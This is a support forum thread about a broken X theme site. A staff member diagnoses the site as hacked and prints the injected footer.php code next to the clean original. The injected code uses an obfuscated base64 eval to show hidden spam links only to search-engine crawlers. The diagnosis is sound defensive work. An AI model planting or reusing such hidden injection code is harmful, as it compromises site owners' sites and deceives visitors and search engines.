Preview could not be loaded and fade content not showing

[flyingpenguins]

Hi there,

Website has kind of broken with pages that would normally have content fade in on scroll not showing at all, and unable to edit/preview in the Cornerstone builder.

Would you be able to advise any suggestions. Have already: disabled plugins and removed caching via Cloudflare.

Cheers

[friech]

Hi Paul,

Thank you for writing in, both of the issues can be attributed to a caching issue. I see that your site is under Cloudflare, please log in to your Cloudflare dashboard and Purge All the cache.

Purging cached resources from Cloudflare

For now you can turn off the fade in option on those columns, so the content inside it will be shown.

If the issue persists, please try switching to the parent X theme as the issue can be a conflict your child theme customization.

Let us know how it goes,
Cheers!

[flyingpenguins]

Hi @friech thanks for the advice. I have purged everything from Cloudflare and switched on Developer mode for good measure.

I have switched to the X theme – not the child theme – and still no luck.

I cannot confidently turn off fade without the Cornerstone editor loading sadly.

Do you have any other suggestions?

Paul

[christian]

Hey Paul,

Checking the console, I see an Internal Server Error. That doesn’t tell the exact cause though so we need you to post your server’s error log in the secure note. You might need the assistance of your web host support for this.

Before that though, please try upgrading PHP to version 7 and also try reinstalling X.

Thanks.

[flyingpenguins]

Secure note shows what I’m seeing. I’ll try and reupload that file.

[ruenel]

Hello Paul,

I have investigated your issue and I found out that your site has been compromised. The footer.php file has been injected with a male enhancer code:

<?php

// =============================================================================
// FOOTER.PHP
// -----------------------------------------------------------------------------
// The site footer.
// =============================================================================
<?php
$fafrendslins = <<<EOT
<div>
<p><a href="https://laurenparsonswellbeing.com/Pills/male-enhancement-CQp-video-training-GAf
">male enhancement</a></p>
</div>
EOT;
eval/**/(base64_decode('JHNwZGU9IHN0cnRvbG93ZXIoJF9TRVJWRVIvKnRlc3QqL1svKiovIkhUVFBfVVNFUl9BR0VOVCIvKiovXSk7CmZ1bmN0aW9uIGNhZ3QoJHNwZCkKewokZ3RydWU9IHN0cl9yZXBsYWNlKCJ4IiwiIiwiYnhveHh0eHxneG94eG94Z3hseGV8eXh4YXhoeG94b3xteHN4bnxzeHhweGl4ZHhleHJ8d3hneGV4dCIpOwppZihwcmVnX21hdGNoKCIvJGd0cnVlL2kiLCRzcGQpKXsKcmV0dXJuIHRydWU7Cn1lbHNlewpyZXR1cm4gZmFsc2U7Cn0KfSAKaWYoY2FndCgkc3BkZSkpewplY2hvICRmYWZyZW5kc2xpbnM7Cn0='));
?>
x_get_view( 'footer', 'base' );

The original contents of footer.php file is only this:

<?php

// =============================================================================
// FOOTER.PHP
// -----------------------------------------------------------------------------
// The site footer.
// =============================================================================

x_get_view( 'footer', 'base' );

Please re install the X theme instead. You can check out this documentation to know you can re install it or by doing manual updates.

• https://theme.co/docs/how-to-update#how-to-perform-a-manual-update

Best Regards.